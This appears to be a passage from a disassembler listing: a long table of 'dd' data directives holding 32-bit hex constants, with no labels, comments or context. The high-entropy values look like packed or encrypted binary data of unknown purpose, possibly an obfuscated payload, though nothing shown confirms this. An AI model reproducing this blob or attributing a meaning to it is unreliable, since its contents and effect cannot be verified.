		dd 33B0AA6h, 40F7497Dh,	0D838C4C6h, 22BD295Bh, 1803022Eh
		dd 6F691C08h, 8C0FC428h, 0BB7D9E05h, 84BB290Ch,	0A9081A5Dh
		dd 56CA541h, 45FDA5FEh,	16CDBC32h, 7E097B04h, 0F416D7D9h
		dd 4B3B1438h, 0E9073CBAh, 0FFC5D213h, 98B5F3BAh, 0B0535133h
		dd 81059564h, 0B6B28088h, 0E6252867h, 2469F058h, 316A80C6h
		dd 9E53660Eh, 0C28F2E94h, 0E9DA4167h, 31265B84h, 18E6882h
		dd 0F297E479h, 0A6BAC385h, 65BD4B58h, 0BEA6AFF5h, 0DD01FB4Eh
		dd 16E9D701h, 0FE1BD928h, 77C904C8h, 16713232h,	0E2DD09F9h
		dd 12F0CF3Eh, 71A44E5Ch, 8559523h, 0BD249786h, 1C45B554h
		dd 0F67F3B8Bh, 7B5C7163h, 430039ADh, 55C7CB81h,	82A04F47h
		dd 0AD2DBFBCh, 25EAD84Ah, 135468FBh, 0E1AAC2C5h, 7AD66042h
		dd 65160583h, 0FE18A526h, 0B850CF60h, 0EA5A8402h, 0E90B91FDh
		dd 26A9E8AAh, 0DF282456h, 80F9C220h, 1763D5B9h,	0A00130CDh
		dd 8990FD72h, 0AD514D26h, 0E302D628h, 0E912DE3Eh, 3561DE09h
		dd 0FB8A174Ch, 0D7D28DC7h, 82A2D748h, 0C45790B1h, 0DF885038h
		dd 0EF624A82h, 0AA4F0C8Ah, 1930B91Eh, 6B712E10h, 8B7CDF72h
		dd 90F97F49h, 35B85CC4h, 311968C6h, 608CE925h, 76BBBEh
		dd 0BF56932Bh, 42C90AFFh, 26CF8100h, 0F77F746Ah, 0F604D8D7h
		dd 29F63F87h, 931F0E9Dh, 416D8FC8h, 5AD6F8D0h, 0CE0575B8h
		dd 703B1B91h, 2BC4FD1Fh, 74C04473h, 16D472E2h, 0A84EE94Fh
		dd 28B35FFCh, 185EA4D3h, 49743144h, 0D485A634h,	0C9EA4075h
		dd 439002E2h, 72ED494Eh, 0C7454006h, 0A5090C4Ah, 0FDB13442h
		dd 0AC8D7BCBh, 245726C9h, 58AD066Fh, 268F692h, 69D02289h
		dd 845F215Fh, 0B2A87726h, 7B354001h, 6A41830Ah,	41D347F4h
		dd 0A6B8470Bh, 512CB323h, 6BB547h, 170BB3A9h, 835A120Eh
		dd 0CA6A03EAh, 84CD1F7h, 2F890499h, 30344A0h, 81914095h
		dd 2C2720F5h, 43FFC05Bh, 52F0886Bh, 0D7AAC29Bh,	0BC136182h
		dd 80D90400h, 0B81170EBh, 69612033h, 515F93A0h,	0C49B933h
		dd 3A83E182h, 994EC730h, 621102FAh, 604909E5h, 4E523FE1h
		dd 0C1E680FBh, 2C485908h, 577A0616h, 2EDE7F6Fh,	0C0985FECh
		dd 3A12C99h, 7E887AF1h,	708CC4Ah, 2712CC68h, 99801DFEh
		dd 24DFE9F6h, 25D397DAh, 1E106D7h, 6F122584h, 0FEF24A57h
		dd 0F47B2795h, 7051863Ch, 7D8594Eh, 53337E02h, 0C16A6C01h
		dd 70B44C2Dh, 0CE1E5E8Bh, 85564B73h, 6900CAE7h,	4D62C260h
		dd 504CC7E9h, 6056A2F7h, 9247F16h, 83E930F6h, 53FA9CC2h
		dd 19493298h, 7D004B8h,	2FB15547h, 19A40D61h, 0A7194C50h
		dd 25C18340h, 88FE07E1h, 931F7B58h, 2FC00B86h, 1173EFA2h
		dd 0A42BE18h, 21297151h, 0E28102C2h, 84D52F3Eh,	12EA2D43h
		dd 87F3FF8Fh, 671BE983h, 3BE1F105h, 52C0BB4Ch, 25284BC9h
		dd 80FD3674h, 301AE937h, 3A277F92h, 7102C8F1h, 59CF31CBh
		dd 5E2E161h, 967EB5FEh,	2DBE5BF9h, 0A78C2BC4h, 388D0EEEh
		dd 0C62F0173h, 7F08A81Ch, 0FAB45BE9h, 51787130h, 257D4Ch
		dd 871E48C5h, 0FEA0E905h, 7BE28D3h, 0A6E0D1B9h,	879D8328h
		dd 0DC925050h, 96D580h,	0E04ACBFAh, 5ACE22BFh, 0BA6BC084h
		dd 5F38A18Ch, 500B3DAh,	4321361Eh, 67F73E87h, 5B912734h
		dd 4920EB29h, 0D3411F6Bh, 0BD87CB31h, 0B94ECAC6h, 0EC3B50A1h
		dd 416EE6BCh, 1BC23ECEh, 467DA06h, 6ECB2AC7h, 0FFACFA18h
		dd 0C9AED02h, 56756A6Bh, 0E911B146h, 4ADA3CBEh,	134ECAFAh
		dd 0AA94BADh, 0BA12EE96h, 10EDB920h, 3B7E2515h,	8913FEDCh
		dd 36DD3304h, 42FF0509h, 5DB389E5h, 0AE8962EFh,	84ADA941h
		dd 95037BCAh, 601D5F7h,	0D34635D0h, 0C29DE755h,	537D3FCh
		dd 0EA44BAB5h, 60D1ECCh, 91DB03Fh, 2D5A56CDh, 6037838Ch
		dd 26E37D24h, 2131073h,	29A69C68h, 55CD1772h, 12AFA8E0h
		dd 77FB68B8h, 0A079B519h, 6906642h, 48401727h, 6F61BA89h
		dd 20816444h, 201C577Ch, 32185089h, 8182693h, 2E70F4C5h
		dd 0EA55CB01h, 3CE2411h, 72B20C38h, 886D3A3Ch, 39C1155Dh
		dd 7CE5693Ch, 4FF5A2BEh, 0B567E881h, 1DBA889Ch,	0B33C946Dh
		dd 0A120BE04h, 65AAC02Bh, 3248A679h, 57CD1078h,	29B2D50h
		dd 68218B0Bh, 1F6C0971h, 0FE17250Fh, 0A7647A11h, 0C2608137h
		dd 0C63A4D3Fh, 144F0712h, 0CA48E478h, 84D710B9h, 1821D740h
		dd 0C69093Dh, 940B7472h, 0C016E9A8h, 5AB1512Ah,	974EE078h
		dd 0FD8012E1h, 2DB6C080h, 0C0F2F120h, 1208E134h, 605EA105h
		dd 1A0787FDh, 0B22BA942h, 866E36Eh, 4B5863F0h, 45AA84CAh
		dd 4D575AFh, 0EAFFB809h, 18273A8h, 1E4156C3h, 85BE05EDh
		dd 0F6E0BA91h, 6C9A04FDh, 0BEF1E91Ah, 0E7BE2852h, 455B12DAh
		dd 0C1C5C8FFh, 7D7C51F0h, 7245629Dh, 0D85A5F6Dh, 0F52568C1h
		dd 0A2C49948h, 94F0F83Eh, 0C1C613C1h, 7383BE6h,	34FD97F0h
		dd 0C30D7ED5h, 0C811C3FDh, 0DF01B088h, 51698C9Eh, 386D085Bh
		dd 54D8BB02h, 92E0608Ch, 828A944Eh, 439369EFh, 26B97BF7h
		dd 32C20054h, 4A45156Bh, 4A2D50B7h, 8B8E822Ch, 711CFC57h
		dd 28666858h, 1B2A9E28h, 6BA0704Eh, 5795F99Bh, 705671Ch
		dd 57FBCE5h, 53C1D1EBh,	0D7F47ABBh, 0E9D80929h,	5B578F19h
		dd 0E162965Eh, 27D70256h, 5797EF6Ch, 0B899F2B6h, 8F85572Fh
		dd 5846015Ch, 0F835AB11h, 8BA9B041h, 54F600EEh,	206A2F3Fh
		dd 0E9A922FFh, 2F5DD4CCh, 0BC1C1EFDh, 0C168C141h, 1E516321h
		dd 7AB85650h, 0D7E03EFDh, 30C9D8CCh, 0EF5C875Fh, 3D2D1659h
		dd 0BAE47CECh, 5A36CD80h, 0E9161A14h, 0E400B93Bh, 0F4017483h
		dd 7ED08925h, 481C027Ch, 68411F59h, 7077E4B7h, 0A045E925h
		dd 612EC5F1h, 0F7361290h, 0EBBA04DDh, 3BDBB8Ah,	0BD055493h
		dd 0D74068C4h, 2F9CA2A6h, 68A71C7Eh, 974401F9h,	0E986ABD3h
		dd 4A777771h, 60B4A5C6h, 11183216h, 8318758Eh, 3E582E2Bh
		dd 0F6D415BFh, 7E266510h, 0A2BDC050h, 48D63F17h, 7774B909h
		dd 2E0B5710h, 5F7D38E0h, 0C7D8982Ch, 3DE5D52h, 9E553B46h
		dd 2FD27B7h, 0FA6C7362h, 0B6F14CFAh, 927411Fh, 0A5106AB6h
		dd 790B361Ch, 80D2F706h, 740EAECCh, 0A00BD3Bh, 1D7F258Ah
		dd 0C2EDE927h, 8F94F733h, 706342BDh, 30B23BE4h,	0C98905ADh
		dd 98C94375h, 48652A25h, 0CE188D75h, 68E9122Fh,	0EFF2604Eh
		dd 0B481944Fh, 0E4B2972Dh, 70D0B625h, 0C5564A40h, 0ABA2FBB7h
		dd 0E010F83Eh, 0C8D75F97h, 0F9C52567h, 0D71D9282h, 0E49CF691h
		dd 0F5A85DB4h, 4E9725A1h
		dd 0F8534F94h, 31694E98h, 2A21803Ah, 414B8268h,	9A76278Ch
		dd 0D5F60112h, 0CD80C5FEh, 3AF5CC90h, 0A0B4501Eh, 9FD9C44Fh
		dd 0E502BC9Ch, 0FD2760E9h, 0F61732D9h, 7CCB1204h, 25C5510Eh
		dd 54A890CDh, 2940EC01h, 13FE02B0h, 0ABBCE9D6h,	6EEA624Bh
		dd 54F0B522h, 56FC51DAh, 28416086h, 0AE97507Dh,	25149391h
		dd 94DCD379h, 179DA211h, 9682AD25h, 2C8E6E4Ah, 0C797F81Ch
		dd 0A0EE1609h, 0FA23DF30h, 513F9809h, 840072Dh,	27D97EE7h
		dd 0A358D160h, 136BC026h, 1210E381h, 3B6015F1h,	5E43659Dh
		dd 0AC43C1FEh, 0FFB36E1Dh, 72F2EFD2h, 0A8B0E9C4h, 65B11D17h
		dd 271B90C8h, 0D102225Eh, 61612447h, 0DA5D595h,	5A203CF0h
		dd 86AD62C2h, 0B8A29565h, 875934DEh, 2585388h, 972AB7BEh
		dd 8B09E055h, 3A07300Dh, 0AD28C558h, 0C9204B98h, 5D0995DBh
		dd 43EFA0D5h, 0A2925886h, 3EA70592h, 0A74D3A8Bh, 2714F711h
		dd 0F0F55EDh, 0EA4A0F65h, 0E87FC7E5h, 8B2F256Eh, 62CFD7B0h
		dd 0E9D268AFh, 0DE9AB5D5h, 4802898Bh, 0B600E448h, 0B0F088CBh
		dd 9E282AFDh, 152A2588h, 0DE2DB066h, 54AC5C9Ch,	632D76B7h
		dd 0DBE76859h, 7810311Bh, 21142D3Ah, 874BFDCAh,	437DA9CCh
		dd 1342196h, 40BABF96h,	1BDB2DC5h, 5007DA8h, 221762AAh
		dd 0BDEA8DE9h, 0EF67ECF4h, 0CAD2FA57h, 0B71477ECh, 0B5515305h
		dd 0BDC5E9A3h, 0A93C66BDh, 0F1849F74h, 0C7D68157h, 52C93E75h
		dd 56EE4DFDh, 9A4A060h,	0E33055B4h, 2052A80Dh, 0C50EED09h
		dd 0C7E8B652h, 0EE935CCEh, 4FF8D20h, 0FE299559h, 0EB3A0D9Dh
		dd 25E96738h, 3E1057A3h, 2814ECBFh, 10A23E60h, 5F25A872h
		dd 780C1002h, 0B7F10ECBh, 0AAFDFBCAh, 2DBFD265h, 8A0970E9h
		dd 0EC52CB40h, 9175D3E8h, 6D7105FEh, 84407EEh, 0BBBF61F8h
		dd 7862D163h, 0C7203DD5h, 0F4A6A831h, 98CCE684h, 8DE02F2Eh
		dd 0C2B09A14h, 46C6EB27h, 22C12409h, 0E4D79277h, 212D5C92h
		dd 83E719F9h, 0D8950706h, 5EC595ADh, 74686D8Bh,	0A3FC69C6h
		dd 56456ADh, 0BC42E958h, 0FDBB0004h, 214C4107h,	5B6BCBDAh
		dd 12DEC104h, 0FD1D01EAh, 0F383727Bh, 4C81D849h, 2DA00760h
		dd 73AC829h, 9B885A3Ch,	0D3DD6BB3h, 29BC0275h, 78295F6Dh
		dd 5DF49500h, 520E0E02h, 47A36855h, 83AB6B25h, 59E74B1h
		dd 140E8369h, 1484AF4Fh, 9550710h, 22FE6853h, 0DD12E95Bh
		dd 3502BFC4h, 0F73E9924h, 0C35260D6h, 0B78AAC20h, 2F896456h
		dd 501A55ADh, 3DF50752h, 40DD80A1h, 20547D9h, 0EAAE2CEEh
		dd 0E0F7C121h, 2E6D9229h, 20F31E3h, 3F7B5C12h, 21B2B055h
		dd 0CFD804A0h, 0EE446BE9h, 55601B28h, 0C04143D3h, 3325E72Ah
		dd 6F11F9FBh, 0A45AC73Fh, 8F12166Ch, 0C4AE4516h, 0B59F8419h
		dd 8BB972E4h, 2250E051h, 2D0100DCh, 7E8C3F93h, 81CE8C1h
		dd 8B715E68h, 0BE045B35h, 3FF04504h, 76A02985h,	94504804h
		dd 13CECB10h, 0CBAA595Fh, 0AF680C68h, 97055341h, 0EF5C3D84h
		dd 68E2F6BCh, 0C4E89D70h, 857E774Dh, 0F4E059DAh, 41354E10h
		dd 0C449A251h, 8BF4813Ah, 31E9DF92h, 2F6A5DC9h,	9086955h
		dd 0BD6A20F8h, 2371EE0h, 2926B861h, 70F7DFA3h, 31E12705h
		dd 956FDCDBh, 20744C68h, 2E6806B0h, 9648DB06h, 341BF4Bh
		dd 25566D74h, 0B951A440h, 0DC3D18ABh, 535CB215h, 5577720h
		dd 63A65F6Dh, 9AC6BF41h, 13607C20h, 0B489B22Eh,	59DFAA92h
		dd 0CF449B03h, 0E280001h, 0B87D5F29h, 9A247EAFh, 7827D34Fh
		dd 235E3C7Fh, 8501799Dh, 944BE953h, 0D7ADFAFCh,	0BC5FAA16h
		dd 35E9BCF9h, 0BF410EEEh, 226FAC80h, 0DC1D6C3Fh, 4318C11Ch
		dd 0E904D9F7h, 0B2476ABDh, 5E8F01F9h, 205D63D0h, 60B7CE3h
		dd 7C5B6221h, 0BD550004h, 18D260A8h, 0E73E912h,	85870DFDh
		dd 5177092Ch, 201AC237h, 25EA79F7h, 90F8F77h, 1F445F44h
		dd 2A37E912h, 5EEF58A4h, 9301BF04h, 3C62140Ah, 6343D8DBh
		dd 0F87B5E8Ch, 46C6802Ch, 0A29ABCAh, 1EAE9FBh, 4AC78190h
		dd 0E5408E99h, 164F62F9h, 3121A8A9h, 296241DDh,	0D734591Dh
		dd 7A02AB02h, 0D814F4F3h, 64029733h, 0C67D1012h, 0BE8E1CFFh
		dd 0C0E06FEEh, 225FEB61h, 0B14E1CADh, 0AD0B04AAh, 0F62D84B3h
		dd 20BD8DEAh, 28406F2Fh, 6BEB557h, 8016519Ah, 1D126DEBh
		dd 0C0B4FD80h, 0F51B751h, 0DCE7DD6Bh, 0E2C5FE0Fh, 0F433E9ECh
		dd 0D2F70360h, 0A410E2C1h, 6809D87Bh, 327F6FAEh, 657B7427h
		dd 0F6DBC55h, 4E401859h, 0B8E9A2CDh, 0FE36C9D9h, 3C7E96Eh
		dd 0D1F6CB86h, 0D926A730h, 0B4500008h, 1F6866DEh, 8B37E932h
		dd 9B93B4Bh, 2F417560h,	9B466E5Bh, 1224C9Dh, 812FC3B9h
		dd 2DCD2178h, 109F12ECh, 0A2E667EAh, 3F48215Ah,	171239CDh
		dd 0A412418Eh, 0EFCC8401h, 2041EA31h, 0A53577FDh, 7F38A30h
		dd 0D14CCE2Fh, 37B1E2E3h, 9FC7F9DFh, 0AD592668h, 0C701ECB8h
		dd 0A60BACB2h, 0F17A4C05h, 7173030Ch, 0E3B13590h, 5A85D00Dh
		dd 96B47EB7h, 48D01431h, 0A3659D07h, 1F89E22Ch,	2C4D4757h
		dd 32D04258h, 25FBB800h, 0EB274A17h, 0F705E7D2h, 685EFC20h
		dd 2D9C59B1h, 3F6F162h,	0BA94C888h, 6BD360F4h, 0EA7418C4h
		dd 27417EA7h, 0E53A89D7h, 0D990A7ADh, 66BF86F6h, 71A22086h
		dd 7E895F25h, 4ADA6082h, 99B47DC4h, 16B70720h, 87CD2AD4h
		dd 0BA3388CCh, 0C08182A9h, 0F2E559F4h, 450AE854h, 0F581F992h
		dd 653F1A83h, 9F69B9ECh, 564CE1E6h, 47CF31B9h, 568AD430h
		dd 81B62B90h, 803109F3h, 69FA8012h, 2959281Ch, 0BA5203DFh
		dd 70F83345h, 0A160E2F2h, 0B981CB5h, 3B3D0E1Ch,	8F1AE6A6h
		dd 0A716F6A1h, 4E270ED8h, 0EB47D695h, 5B0043D6h, 0BA16545Fh
		dd 0ABA016A4h, 1FA0A9E9h, 0FD0F0DC5h, 39E8463Ah, 0BCBA4BA2h
		dd 68640CAEh, 6580BE1h,	0DBE9D031h, 3BF16463h, 0D9B92C65h
		dd 6706524Ch, 0C40C039h, 9E7ED804h, 68A8092Eh, 9E40192Dh
		dd 640178B9h, 0FDBD0D04h, 31C4D744h, 0D5E92ECDh, 5B668091h
		dd 0C8FED8F6h, 88C13416h, 80B02CB8h, 0E7E69AEFh, 0B5519E00h
		dd 0C0DDF619h, 0FE0213EDh, 0E56CC8CDh, 41E92A16h, 755B5FC2h
		dd 286226D4h, 9EE77B2h,	920B1FB1h, 7CCEDF7Bh, 0D48B1ABDh
		dd 8B471D28h, 4EC061AAh, 0D7516012h, 407546ACh,	0B6525902h
		dd 0E0CE805Eh, 0B54A26F1h, 319002D1h, 0BA1CAE85h, 0A3B60577h
		dd 4609717h, 45711917h,	0D84ACEB0h, 4BDE3CE8h, 1155B863h
		dd 0FC3FC16Ah, 0FD5E2F3Bh, 0A9D78612h, 0ED237768h, 0EA856B91h
		dd 6450DCB3h, 0F48880A8h, 48675A49h, 0C5257DFFh, 247DF30Ch
		dd 6A36024Ch, 0DF7494h,	0D756AD94h, 98FF827Bh, 0B0D331DCh
		dd 858D8A93h, 13FE2390h, 0CEB7AF5Fh, 6A7908DBh,	66E92E1Eh
		dd 0DF087F64h, 0E380008Ah, 11B252AFh, 4939CAECh, 0DAF680FEh
		dd 0E99FB151h, 0B4F74B36h, 1C624F5Ah, 0EBF58BFCh, 63FCB1FFh
		dd 0DD687885h, 0AF31EF75h, 0E9017E9Fh, 0BAE72582h, 420DEB30h
		dd 1942DF1Dh, 6003E8C9h, 598074A5h, 4AA7EE55h, 20BC8960h
		dd 367FCC7h, 0AA7A563Eh, 5C5AC22Ah, 0BAA4CDE9h,	0FA1ACECh
		dd 0A04270AFh, 594FA1BAh, 57613DBFh, 5613D557h,	775A0E2Eh
		dd 0C702F978h, 9098B071h, 0CF5889B7h, 0F5290488h, 5EA8EA5Eh
		dd 0C33B0192h, 3F04CB20h, 3A842D84h, 0BAB413BAh, 80EDF373h
		dd 9D028010h, 0E9055279h, 40BBA5FEh, 0D57BAC40h, 5C90581Eh
		dd 24D0F0Ah, 839DB56Ah,	3367D22Dh, 70AD9F7h, 7085A1BAh
		dd 9C93EACAh, 5955303Eh
		dd 0B1F1812Ah, 468D7A1Fh, 0CD8E648Ah, 3D2CD598h, 5265B4AEh
		dd 0D1D2B58h, 58B07071h, 9D612CE9h, 40BF6E6h, 2A1DEE17h
		dd 110F173Fh, 0A4F5EEE2h, 44ABEBC7h, 0EE4B909Fh, 5EDB664h
		dd 410F1C93h, 1143B48h,	41EFE1CFh, 3F94E908h, 95EE509h
		dd 0ECE25DB4h, 10433D40h, 2973D80Ah, 1A1CC4EBh,	75241F49h
		dd 0F8239E0h, 0E975030Bh, 9833A935h, 0C0772E7Eh, 3754EFF7h
		dd 0E0A208BDh, 84006BF6h, 56B5EB1Fh, 2EE12CE9h,	25689CBEh
		dd 4264FC51h, 2EBA03B1h, 54A0FA0h, 89E31EEFh, 762550D2h
		dd 0B08AAA59h, 9DED9140h, 36DCEEC2h, 0D11C09CBh, 0CD74BDAh
		dd 0BFBF2E3Fh, 292E7F5Ah, 8910D4F8h, 0AD3CC05Ah, 0E34B6A1Ch
		dd 22A80FAEh, 96CCFA57h, 57CF4060h, 0BA685502h,	423C7215h
		dd 13F2D61Fh, 987F658h,	3075A768h, 24030110h, 2D5715FEh
		dd 0E9F787F7h, 8DEE5984h, 0E4AC3B8Dh, 0E94B01C1h, 3825C96Dh
		dd 0F63E6081h, 7E639526h, 0C95B9EC1h, 9C0EDADDh, 8C8925F8h
		dd 68BE4540h, 0C2835681h, 4E83428Dh, 57C3FBFDh,	4A9D8876h
		dd 0F25AE9h, 3248BD8Ah,	0BC905E11h, 0FCEB8995h,	0BC61F241h
		dd 18D142ADh, 330B2152h, 232857Dh, 90C86B41h, 0B279B6FEh
		dd 88EA9747h, 6286F37Dh, 0E45F7DE9h, 23730B52h,	0E874142Ch
		dd 0F6C62E04h, 0EAF0C5AFh, 0B8D615E6h, 3613ED7h, 62E93EFFh
		dd 0C1540C1Bh, 0D41C03E2h, 0E0237817h, 9B4053BCh, 0AC3AE15Bh
		dd 77C2B2DFh, 0F52AD8C4h, 0CDDE140Bh, 1265EADCh, 0B57644Eh
		dd 26606866h, 29EE07D2h, 0C49B1E58h, 0B9EACBB5h, 5F05922Eh
		dd 48FEB1A3h, 5692C18h,	5F942926h, 666F72C0h, 34B70F53h
		dd 0F7EFFA28h, 2FD04D79h, 0BC7BB204h, 0AB9219A8h, 0C680FDD0h
		dd 0E506C3F0h, 2C27F788h, 55B03BFh, 4E84B0CEh, 0FAEB4E81h
		dd 0C3297806h, 5F564F50h, 5893B994h, 64DA235Bh,	0F3B56D50h
		dd 897AAE0Eh, 8D94802h,	10EB932h, 0C1BCEBDAh, 0B55C5889h
		dd 378709EBh, 0E9D842EDh, 0BD133D20h, 634AC876h, 0B44BAE02h
		dd 0C0D7700Ah, 99CF8107h, 7313FB68h, 85286E9h, 0F61778EEh
		dd 0C0F74B5Ah, 0B9C5F24h, 0FF300250h, 0D076643Ah, 38355800h
		dd 503C6203h, 504B945Dh, 68175756h, 30E325B9h, 813C2A00h
		dd 0A32DBF1Ah, 89533325h, 99F59682h, 3E909A6h, 52555B26h
		dd 28381706h, 13F15F31h, 0F6108DE9h, 0B2B1F94h,	303175E7h
		dd 2FC68B3h, 875D13B9h,	80F77E6Bh, 393F2144h, 224DF0E9h
		dd 5D80028h, 6BDE5BBBh,	35FF0E2Dh, 0BAB22091h, 68794B22h
		dd 0EA06BB86h, 0FA6B5444h, 266314F8h, 0F909E435h, 2A8E6266h
		dd 0F4A3788Bh, 0A6DE082Ch, 4B2F797Ch, 0D9E7BB01h, 883B5496h
		dd 42B7738Eh, 285957BFh, 5D71CA52h, 5B0C29E4h, 0C70216Ah
		dd 54E1689h, 0C7A54A77h, 5F0C3408h, 7B9A1D14h, 68FD7E02h
		dd 7BFE43DDh, 0FBE957C0h, 14579762h, 8202BCEFh,	54614FEBh
		dd 68F3C1C0h, 0E6046725h, 3DF818BEh, 0A9EE7AE0h, 5B20DC48h
		dd 7FEB7AD2h, 0A252B7Ah, 7979C88Ah, 278C2676h, 810245Fh
		dd 4016D770h, 136449A0h, 4311816h, 13D67FFh, 0C208A134h
		dd 4130C830h, 0B15ACFBAh, 9C7E880h, 294D13C1h, 87210CAh
		dd 0D6895601h, 2B2D38E9h, 5C051DCEh, 0D335868h,	0F00A3E7Eh
		dd 7B092C77h, 8453F10Ch, 31065DE4h, 669D9CC1h, 0B44DB952h
		dd 0EC5F840Dh, 39EF4B67h, 2EF2C7Dh, 1F7F0D86h, 0FBCC4B01h
		dd 23891209h, 53DFA49Bh, 72DCBB07h, 93D23DA1h, 97507230h
		dd 0B584C829h, 71A7AABCh, 49E26227h, 50B3A57Dh,	51E95C20h
		dd 621BA0ACh, 3CD22537h, 0D126B7D6h, 19948A39h,	0C31CE736h
		dd 174B5345h, 500135B8h, 6661DB68h, 0C7512014h,	6B270C74h
		dd 26C25D1Ch, 50E1080Fh, 835C7FE9h, 3F89F36Bh, 6831D276h
		dd 0C01657A7h, 1B7C68B0h, 72C652DBh, 2C0F7AEEh,	12D0F289h
		dd 82E7BFFAh, 2FE96940h, 3FE81CDCh, 0DB9FE0B2h,	58500846h
		dd 956E77A5h, 3F4AA8FEh, 0C0E43EB8h, 0AC71B7AFh, 4805097h
		dd 4951E581h, 0C57B8072h, 92244F31h, 3E045ED9h,	40C1D30Ah
		dd 0FA045616h, 2B19AEE8h, 805E9015h, 3DC68173h,	0B5B1DCBh
		dd 207A9A2Dh, 0F028AC82h, 5D098B08h, 0E957CBBEh, 9E661889h
		dd 401AF113h, 3DBE56F0h, 5924BB35h, 530DBE31h, 4989C883h
		dd 3ED462A6h, 976D7AC9h, 848303FDh, 0BE234AEEh,	84A58CCDh
		dd 2085CE5Dh, 0BBA068C5h, 513BB3E6h, 0F5ED2D80h, 0E3E92182h
		dd 205674C9h, 22092B5Dh, 40892010h, 954E2953h, 0EDE39468h
		dd 7B020C99h, 50EDC07h,	3C98C006h, 3A40D603h, 4D9F90F0h
		dd 0FB58C740h, 0DC7A252Fh, 2E5A0881h, 0DF3090E6h, 3C7DBBFBh
		dd 0F70EA309h, 36F07D3h, 3892AFF5h, 0CA7855BDh,	0B092F795h
		dd 25CBE3A8h, 55173071h, 2B538E09h, 8053010Dh, 0B82FDBC2h
		dd 0E96BA0DAh, 58E1A8F2h, 6FDC629h, 8A5A12C7h, 698860F0h
		dd 78580854h, 0DF6B27B9h, 98A29A46h, 829993DDh,	0AFC0B14h
		dd 174DF62h, 66027768h,	538F07DAh, 8CD26B6Dh, 0E90DA13Eh
		dd 349346C7h, 0A95EFE05h, 723DD08Bh, 57042F3Fh,	0B0B819D7h
		dd 0DD76A1AFh, 0FCE133Ch, 110249BDh, 4A1BB107h,	1521C975h
		dd 20D813A5h, 6B49E92Dh, 314B176h, 94E1F37Eh, 0DE6885F1h
		dd 4B20B3EEh, 0BBCFC4EEh, 0A1969EE2h, 6DAF3EA0h, 5C0D9294h
		dd 7EE281E9h, 0BC5F58E9h, 89E2A5FDh, 2D3F567h, 3786A310h
		dd 72B73413h, 5DF9042Ch, 0AAC1010Ah, 0BEE5A3E8h, 0AB4F78F7h
		dd 532901CAh, 0DD20384Dh, 0EAB1FD97h, 2AE8C1D2h, 494D53C8h
		dd 0F83B5F97h, 2C75F596h, 8240FE11h, 48FDECACh,	0D9813A03h
		dd 61121F67h, 133D003h,	0B503265Ah, 0E6379236h,	0A07E3030h
		dd 6FB5C124h, 9F4FA0Fh,	0A998A5CBh, 23FB7B9h, 507E080h
		dd 17496A1Fh, 74C32927h, 0C5EBC0DDh, 487EFA09h,	0D65340DFh
		dd 61A19797h, 3AECDB79h, 0EEC3C1C1h, 0F0A516DCh, 0A798D601h
		dd 68550880h, 195E6127h, 8A85962h, 30D54A0Dh, 0BBC6826h
		dd 0BF1C8593h, 85ED6372h, 5482AF93h, 84215720h,	97190668h
		dd 0FF09B708h, 53285754h, 0CCF069C6h, 381E7EFDh, 4BBA0C74h
		dd 6EDC2862h, 0E90EEF98h, 82D4978Eh, 90F272AFh,	49C6401Dh
		dd 0A543B4A0h, 137AE53Eh, 0E5CA230Eh, 0D982AF4Eh, 75786A2Fh
		dd 0E9D88CD4h, 2733BA90h, 0F8990C68h, 0EBA1FBBEh, 11E3F470h
		dd 0B3021F9Bh, 40D4FA7Eh, 0D067C5DAh, 11209868h, 5E5C113h
		dd 1F03AA08h, 7C048959h, 0C2D955h, 0B94BF681h, 4BB0D076h
		dd 69B23A4Fh, 24406882h, 182849ACh, 92114D9Dh, 1D118599h
		dd 4218CBB2h, 36B0C951h, 82509168h, 0DC74E3C2h,	6DEBC784h
		dd 0F760D887h, 613D3020h, 707D1801h, 0D28EFA06h, 0F9CF9AA2h
		dd 60090841h, 12C6EF9h,	820FDFDh, 0EE0B5F7Dh, 0FD5DACE9h
		dd 0EA5F911Ah, 885ADF0Ch, 46800C4Eh, 2D77B4B9h,	7CDE6E3Eh
		dd 74F40894h, 3C1A3012h, 9A0415FCh, 0AE68C4F1h,	0D9894404h
		dd 5A5BD782h, 2ECE0721h, 7E5A149Dh, 7ACFFFF2h, 4D685C05h
		dd 54AB324Ch, 95F966Ah,	5A6F57D2h, 1D16EC0Dh, 2E6FB530h
		dd 28E373A6h, 198F25BDh, 0D898B4D8h, 684A3A0Fh,	2C13B767h
		dd 0E9CB78FAh, 43A1554Eh, 12D7DA7Bh, 0F9BDD168h, 0A30031Ah
		dd 88F85BDFh, 672CD10Ch, 2B0F72Fh, 489748F7h, 2732F6BDh
		dd 0B3F05E9Bh, 4615DA25h, 0D6F32DF2h, 0B062E8DEh, 7F487844h
		dd 5E932683h, 26FEA893h, 60BB200Ch, 2E5C08Eh, 2250E918h
		dd 985AD18Bh, 584F73A3h
		dd 97F3501h, 5F4B2711h,	8A0D5D4h, 8B473B5h, 35005684h
		dd 0C1B464C8h, 800BB031h, 0E57EE1B0h, 0B6D70920h, 39BE4274h
		dd 15D64C75h, 9708D368h, 35D1E90Eh, 8AE6FB12h, 96BB327Ch
		dd 0EC604B36h, 0EF4B4073h, 1746EF8h, 874FE243h,	0B0D7F7F9h
		dd 3828B208h, 0C4E6033h, 79F5C68h, 36BF30C3h, 0F1600258h
		dd 52397418h, 7AB47057h, 0B24405F3h, 0C1DD8923h, 7E661C82h
		dd 99681B3h, 75E02EB0h,	0EB0F8058h, 66F328E0h, 4F224F3Ch
		dd 4054F964h, 184110C4h, 0ED79E113h, 27E9CEEEh,	0B58C665Ah
		dd 0F727F297h, 0A5F61B91h, 0B516F7B2h, 0DBAA5B4Bh, 0D3E716B5h
		dd 0B54135A2h, 24F60960h, 20FF4142h, 0B736C002h, 0E99D190Eh
		dd 0A03CA52Dh, 0A04AC09Ch, 70BD0123h, 31394546h, 46677BCDh
		dd 0AE160BD4h, 95AAD1C5h, 4CE81F0h, 0D6F239A1h,	2284D41Ch
		dd 16EF5326h, 4C9479Bh,	0D6B2E075h, 4A5EB450h, 924830F8h
		dd 45921E6Bh, 0A35FFE63h, 0B38A74FBh, 0E7B90331h, 1F231358h
		dd 82A71DE0h, 26E968DCh, 54690A5Eh, 52FEA7DAh, 3031D827h
		dd 0F2B9E116h, 0B4836CFh, 8DE05FACh, 0E4BC09CCh, 70D7314Eh
		dd 522B0123h, 0A2E95ED8h, 0C2398786h, 0A0248F07h, 9888E0C4h
		dd 29589501h, 0F02CCB4h, 0D53F0684h, 0BD9ED318h, 3FBEE7BDh
		dd 0F32AB016h, 0C00690A5h, 7406A6F5h, 2BE2A045h, 22660E3Fh
